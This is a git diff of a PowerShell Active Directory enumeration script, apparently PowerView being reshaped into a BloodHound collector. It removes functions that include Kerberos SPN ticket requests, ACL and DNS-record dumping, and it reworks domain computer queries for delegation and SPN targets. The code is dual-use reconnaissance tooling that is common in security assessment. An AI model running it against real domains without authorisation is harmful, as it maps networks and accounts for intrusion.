diff --git a/PowerShell/BloodHound.ps1 b/PowerShell/BloodHound.ps1 index 172e31c68..51ab191b5 100644 --- a/PowerShell/BloodHound.ps1 +++ b/PowerShell/BloodHound.ps1 @@ -2,7 +2,7 @@ <# - PowerSploit File: PowerView.ps1 + File: BloodHound.ps1 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None @@ -765,50 +765,6 @@ filter Get-IniContent { } } -filter Export-PowerViewCSV { -<# - .SYNOPSIS - - This helper exports an -InputObject to a .csv in a thread-safe manner - using a mutex. This is so the various multi-threaded functions in - PowerView has a thread-safe way to export output to the same file. - - Based partially on Dmitry Sotnikov's Export-CSV code - at http://poshcode.org/1590 - - .LINK - - http://poshcode.org/1590 - http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ -#> - Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] - [System.Management.Automation.PSObject[]] - $InputObject, - - [Parameter(Mandatory=$True, Position=0)] - [String] - [ValidateNotNullOrEmpty()] - $OutFile - ) - - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() - - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - - $Mutex.ReleaseMutex() -} - filter Get-IPAddress { <# @@ -1092,7 +1048,6 @@ filter Convert-ADName { } else { Write-Warning "Can not identify InType for $ObjectName" - return $ObjectName } } elseif($InputType -eq 'NT4') { @@ -1129,7 +1084,7 @@ filter Convert-ADName { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate init in Convert-ADName: $_" + # Write-Verbose "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) @@ -1139,359 +1094,7 @@ filter Convert-ADName { (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" - } -} - - -function ConvertFrom-UACValue { -<# - .SYNOPSIS - - Converts a UAC int value to human readable form. - - .PARAMETER Value - - The int UAC value to convert. - - .PARAMETER ShowAll - - Show all UAC values, with a + indicating the value is currently set. - - .EXAMPLE - - PS C:\> ConvertFrom-UACValue -Value 66176 - - Convert the UAC value 66176 to human readable format. - - .EXAMPLE - - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue - - Convert the UAC value for 'jason' to human readable format. - - .EXAMPLE - - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll - - Convert the UAC value for 'jason' to human readable format, showing all - possible UAC values. -#> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - $Value, - - [Switch] - $ShowAll - ) - - begin { - # values from https://support.microsoft.com/en-us/kb/305144 - $UACValues = New-Object System.Collections.Specialized.OrderedDictionary - $UACValues.Add("SCRIPT", 1) - $UACValues.Add("ACCOUNTDISABLE", 2) - $UACValues.Add("HOMEDIR_REQUIRED", 8) - $UACValues.Add("LOCKOUT", 16) - $UACValues.Add("PASSWD_NOTREQD", 32) - $UACValues.Add("PASSWD_CANT_CHANGE", 64) - $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) - $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) - $UACValues.Add("NORMAL_ACCOUNT", 512) - $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) - $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) - $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) - $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) - $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) - $UACValues.Add("SMARTCARD_REQUIRED", 262144) - $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) - $UACValues.Add("NOT_DELEGATED", 1048576) - $UACValues.Add("USE_DES_KEY_ONLY", 2097152) - $UACValues.Add("DONT_REQ_PREAUTH", 4194304) - $UACValues.Add("PASSWORD_EXPIRED", 8388608) - $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) - $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) - } - - process { - - $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary - - if($Value -is [Int]) { - $IntValue = $Value - } - elseif ($Value -is [PSCustomObject]) { - if($Value.useraccountcontrol) { - $IntValue = $Value.useraccountcontrol - } - } - else { - Write-Warning "Invalid object input for -Value : $Value" - return $Null - } - - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") - } - else { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } - } - } - else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } - } - } - $ResultUACValues - } -} - - -filter Get-Proxy { -<# - .SYNOPSIS - - Enumerates the proxy server and WPAD conents for the current user. - - .PARAMETER ComputerName - - The computername to enumerate proxy settings on, defaults to local host. - - .EXAMPLE - - PS C:\> Get-Proxy - - Returns the current proxy settings. -#> - param( - [Parameter(ValueFromPipeline=$True)] - [ValidateNotNullOrEmpty()] - [String] - $ComputerName = $ENV:COMPUTERNAME - ) - - try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') - - $Wpad = "" - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { - try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) - } - catch { - Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" - } - } - - if($ProxyServer -or $AutoConfigUrl) { - - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad - } - - New-Object -TypeName PSObject -Property $Properties - } - else { - Write-Warning "No proxy settings found for $ComputerName" - } - } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName : $_" - } -} - - -function Request-SPNTicket { -<# - .SYNOPSIS - - Request the kerberos ticket for a specified service principal name (SPN). - - .PARAMETER SPN - - The service principal name to request the ticket for. Required. - - .EXAMPLE - - PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" - - Request a kerberos service ticket for the specified SPN. - - .EXAMPLE - - PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket - - Request kerberos service tickets for all SPNs passed on the pipeline. - - .EXAMPLE - - PS C:\> Get-NetUser -SPN | Request-SPNTicket - - Request kerberos service tickets for all users with non-null SPNs. -#> - - [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] - [Alias('ServicePrincipalName')] - [String[]] - $SPN - ) - - begin { - Add-Type -AssemblyName System.IdentityModel - } - - process { - Write-Verbose "Requesting ticket for: $SPN" - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN - } -} - - -function Get-PathAcl { -<# - .SYNOPSIS - - Enumerates the ACL for a given file path. - - .PARAMETER Path - - The local/remote path to enumerate the ACLs for. - - .PARAMETER Recurse - - If any ACL results are groups, recurse and retrieve user membership. - - .EXAMPLE - - PS C:\> Get-PathAcl "\\SERVER\Share\" - - Returns ACLs for the given UNC share. -#> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $Path, - - [Switch] - $Recurse - ) - - begin { - - function Convert-FileRight { - - # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights - - [CmdletBinding()] - param( - [Int] - $FSR - ) - - $AccessMask = @{ - [uint32]'0x80000000' = 'GenericRead' - [uint32]'0x40000000' = 'GenericWrite' - [uint32]'0x20000000' = 'GenericExecute' - [uint32]'0x10000000' = 'GenericAll' - [uint32]'0x02000000' = 'MaximumAllowed' - [uint32]'0x01000000' = 'AccessSystemSecurity' - [uint32]'0x00100000' = 'Synchronize' - [uint32]'0x00080000' = 'WriteOwner' - [uint32]'0x00040000' = 'WriteDAC' - [uint32]'0x00020000' = 'ReadControl' - [uint32]'0x00010000' = 'Delete' - [uint32]'0x00000100' = 'WriteAttributes' - [uint32]'0x00000080' = 'ReadAttributes' - [uint32]'0x00000040' = 'DeleteChild' - [uint32]'0x00000020' = 'Execute/Traverse' - [uint32]'0x00000010' = 'WriteExtendedAttributes' - [uint32]'0x00000008' = 'ReadExtendedAttributes' - [uint32]'0x00000004' = 'AppendData/AddSubdirectory' - [uint32]'0x00000002' = 'WriteData/AddFile' - [uint32]'0x00000001' = 'ReadData/ListDirectory' - } - - $SimplePermissions = @{ - [uint32]'0x1f01ff' = 'FullControl' - [uint32]'0x0301bf' = 'Modify' - [uint32]'0x0200a9' = 'ReadAndExecute' - [uint32]'0x02019f' = 'ReadAndWrite' - [uint32]'0x020089' = 'Read' - [uint32]'0x000116' = 'Write' - } - - $Permissions = @() - - # get simple permission - $Permissions += $SimplePermissions.Keys | % { - if (($FSR -band $_) -eq $_) { - $SimplePermissions[$_] - $FSR = $FSR -band (-not $_) - } - } - - # get remaining extended permissions - $Permissions += $AccessMask.Keys | - ? { $FSR -band $_ } | - % { $AccessMask[$_] } - - ($Permissions | ?{$_}) -join "," - } - } - - process { - - try { - $ACL = Get-Acl -Path $Path - - $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { - - $Names = @() - if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { - $Object = Get-ADObject -SID $_.IdentityReference - $Names = @() - $SIDs = @($Object.objectsid) - - if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { - $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid - } - - $SIDs | ForEach-Object { - $Names += ,@($_, (Convert-SidToName $_)) - } - } - else { - $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) - } - - ForEach($Name in $Names) { - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'Path' $Path - $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) - $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] - $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] - $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType - $Out - } - } - } - catch { - Write-Warning $_ - } + # Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" } } @@ -1781,408 +1384,54 @@ filter Get-DomainSearcher { } -filter Convert-DNSRecord { +filter Get-NetDomain { <# .SYNOPSIS - Decodes a binary DNS record. - - Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - - .PARAMETER DNSRecord + Returns a given domain object. - The domain to query for zones, defaults to the current domain. + .PARAMETER Domain - .LINK + The domain name to query for, defaults to the current domain. - https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 -#> - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] - [Byte[]] - $DNSRecord - ) + .PARAMETER Credential - function Get-Name { - # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - [CmdletBinding()] - param( - [Byte[]] - $Raw - ) + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - [Int]$Length = $Raw[0] - [Int]$Segments = $Raw[1] - [Int]$Index = 2 - [String]$Name = "" + .EXAMPLE - while ($Segments-- -gt 0) - { - [Int]$SegmentLength = $Raw[$Index++] - while ($SegmentLength-- -gt 0) { - $Name += [Char]$Raw[$Index++] - } - $Name += "." - } - $Name - } + PS C:\> Get-NetDomain -Domain testlab.local - $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) - $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) - $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + .EXAMPLE - $TTLRaw = $DNSRecord[12..15] - # reverse for big endian - $Null = [array]::Reverse($TTLRaw) - $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + PS C:\> "testlab.local" | Get-NetDomain - $Age = [BitConverter]::ToUInt32($DNSRecord, 20) - if($Age -ne 0) { - $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() - } - else { - $TimeStamp = "[static]" - } + .LINK - $DNSRecordObject = New-Object PSObject + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> - if($RDataType -eq 1) { - $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] - $Data = $IP - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' - } + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, - elseif($RDataType -eq 2) { - $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $NSName - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' - } + [Management.Automation.PSCredential] + $Credential + ) - elseif($RDataType -eq 5) { - $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Alias - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' - } + if($Credential) { - elseif($RDataType -eq 6) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' - } + Write-Verbose "Using alternate credentials for Get-NetDomain" - elseif($RDataType -eq 12) { - $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Ptr - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' - } + if(!$Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Domain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" + } - elseif($RDataType -eq 13) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' - } - - elseif($RDataType -eq 15) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' - } - - elseif($RDataType -eq 16) { - - [string]$TXT = "" - [int]$SegmentLength = $DNSRecord[24] - $Index = 25 - while ($SegmentLength-- -gt 0) { - $TXT += [char]$DNSRecord[$index++] - } - - $Data = $TXT - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' - } - - elseif($RDataType -eq 28) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' - } - - elseif($RDataType -eq 33) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' - } - - else { - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' - } - - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Data - $DNSRecordObject -} - - -filter Get-DNSZone { -<# - .SYNOPSIS - - Enumerates the Active Directory DNS zones for a given domain. - - .PARAMETER Domain - - The domain to query for zones, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .PARAMETER FullData - - Switch. Return full computer objects instead of just system names (the default). - - .EXAMPLE - - PS C:\> Get-DNSZone - - Retrieves the DNS zones for the current domain. - - .EXAMPLE - - PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local - - Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries - through the primary.testlab.local domain controller. -#> - - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [String] - $Domain, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential, - - [Switch] - $FullData - ) - - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential - $DNSSearcher.filter="(objectClass=dnsZone)" - - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name - - if ($FullData) { - $Properties - } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged - } - } - $Results.dispose() - $DNSSearcher.dispose() - } - - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsZone)" - - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name - - if ($FullData) { - $Properties - } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged - } - } - $Results.dispose() - $DNSSearcher.dispose() - } -} - - -filter Get-DNSRecord { -<# - .SYNOPSIS - - Enumerates the Active Directory DNS records for a given zone. - - .PARAMETER ZoneName - - The zone to query for records (which can be enumearted with Get-DNSZone). Required. - - .PARAMETER Domain - - The domain to query for zones, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-DNSRecord -ZoneName testlab.local - - Retrieve all records for the testlab.local zone. - - .EXAMPLE - - PS C:\> Get-DNSZone | Get-DNSRecord - - Retrieve all records for all zones in the current domain. - - .EXAMPLE - - PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local - - Retrieve all records for all zones in the dev.testlab.local domain. -#> - - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] - [String] - $ZoneName, - - [String] - $Domain, - - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsNode)" - - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - try { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged - $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName - - # convert the record and extract the properties - if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { - # TODO: handle multiple nested records properly? - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] - } - else { - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord - } - - if($Record) { - $Record.psobject.properties | ForEach-Object { - $Properties | Add-Member NoteProperty $_.Name $_.Value - } - } - - $Properties - } - catch { - Write-Warning "ERROR: $_" - $Properties - } - } - $Results.dispose() - $DNSSearcher.dispose() - } -} - - -filter Get-NetDomain { -<# - .SYNOPSIS - - Returns a given domain object. - - .PARAMETER Domain - - The domain name to query for, defaults to the current domain. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetDomain -Domain testlab.local - - .EXAMPLE - - PS C:\> "testlab.local" | Get-NetDomain - - .LINK - - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG -#> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Domain, - - [Management.Automation.PSCredential] - $Credential - ) - - if($Credential) { - - Write-Verbose "Using alternate credentials for Get-NetDomain" - - if(!$Domain) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $Domain = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Domain' from -Credential" - } - - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) @@ -2328,43 +1577,6 @@ filter Get-NetForestDomain { } -filter Get-NetForestCatalog { -<# - .SYNOPSIS - - Return all global catalogs for a given forest. - - .PARAMETER Forest - - The forest name to query domain for. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetForestCatalog -#> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Forest, - - [Management.Automation.PSCredential] - $Credential - ) - - $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential - - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() - } -} - - filter Get-NetDomainController { <# .SYNOPSIS @@ -2442,51 +1654,67 @@ filter Get-NetDomainController { # ######################################################## -function Get-NetUser { + +function Get-NetComputer { <# .SYNOPSIS - Query information for a given user or users in the domain - using ADSI and LDAP. Another -Domain can be specified to - query for users across a trust. - Replacement for "net users /domain" + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). - .PARAMETER UserName + .PARAMETER ComputerName - Username filter string, wildcards accepted. + Return computers with a specific name, wildcards accepted. - .PARAMETER Domain + .PARAMETER SPN - The domain to query for users, defaults to the current domain. + Return computers with a specific service principal name, wildcards accepted. - .PARAMETER DomainController + .PARAMETER OperatingSystem - Domain controller to reflect LDAP queries through. + Return computers with a specific operating system, wildcards accepted. - .PARAMETER ADSpath + .PARAMETER ServicePack - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + Return computers with a specific service pack, wildcards accepted. .PARAMETER Filter A customized ldap filter string to use, e.g. "(description=*admin*)" - .PARAMETER AdminCount + .PARAMETER Printers - Switch. Return users with adminCount=1. + Switch. Return only printers. - .PARAMETER SPN + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. - Switch. Only return user objects with non-null service principal names. + .PARAMETER FullData - .PARAMETER Unconstrained + Switch. Return full computer objects instead of just system names (the default). + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. - Switch. Return users that have unconstrained delegation. + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. - .PARAMETER AllowDelegation + .PARAMETER Unconstrained - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + Switch. Return computer objects that have unconstrained delegation. .PARAMETER PageSize @@ -2499,41 +1727,75 @@ function Get-NetUser { .EXAMPLE - PS C:\> Get-NetUser -Domain testing + PS C:\> Get-NetComputer + + Returns the current computers in current domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. .EXAMPLE - PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 #> - param( - [Parameter(Position=0, ValueFromPipeline=$True)] + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] [String] - $UserName, + $ComputerName = '*', [String] - $Domain, + $SPN, [String] - $DomainController, + $OperatingSystem, [String] - $ADSpath, + $ServicePack, [String] $Filter, [Switch] - $SPN, + $Printers, [Switch] - $AdminCount, + $Ping, [Switch] - $Unconstrained, + $FullData, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $SiteName, [Switch] - $AllowDelegation, + $Unconstrained, [ValidateRange(1,10000)] [Int] @@ -2544,377 +1806,394 @@ function Get-NetUser { ) begin { - if($Domain) { - $TargetDomain = $Domain - } - else { - $TargetDomain = (Get-NetDomain).name - } - - # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $TargetDomain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential - - $PrimaryGroups = @{} + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential } process { - if($UserSearcher) { + + if ($CompSearcher) { # if we're checking for unconstrained delegation if($Unconstrained) { - Write-Verbose "Checking for unconstrained delegation" + Write-Verbose "Searching for computers with for unconstrained delegation" $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" } - if($AllowDelegation) { - Write-Verbose "Checking for users who can be delegated" - # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" } - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" } - - # check if we're using a username filter or not - if($UserName) { - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" } - elseif($SPN) { - $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" } - else { - # filter is something like "(samAccountName=*blah*)" if specified - $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + + $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : $CompFilter" + $CompSearcher.filter = $CompFilter + if(-not $FullData) { + $Null = $CompSearcher.PropertiesToLoad.Add('dnshostname') } try { - $Results = $UserSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $User = Convert-LDAPProperty -Properties $_.Properties - - $User | Add-Member NoteProperty 'Domain' $TargetDomain - - $DomainSID = $User.objectsid.Substring(0, $User.objectsid.LastIndexOf('-')) - $PrimaryGroupSID = "$DomainSID-$($User.primarygroupid)" - - $User | Add-Member NoteProperty 'PrimaryGroupSID' $PrimaryGroupSID - - if($PrimaryGroups[$PrimaryGroupSID]) { - $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] - } - else { - $PrimaryGroupName = Get-ADObject -Domain $Domain -SID $PrimaryGroupSID | Select-Object -ExpandProperty samaccountname - $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + ForEach($ComputerResult in $CompSearcher.FindAll()) { + if($ComputerResult) { + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerResult.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + $Computer = Convert-LDAPProperty -Properties $ComputerResult.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer + } + else { + # otherwise we're just returning the DNS host name + $ComputerResult.properties.dnshostname + } + } } - - $User | Add-Member NoteProperty 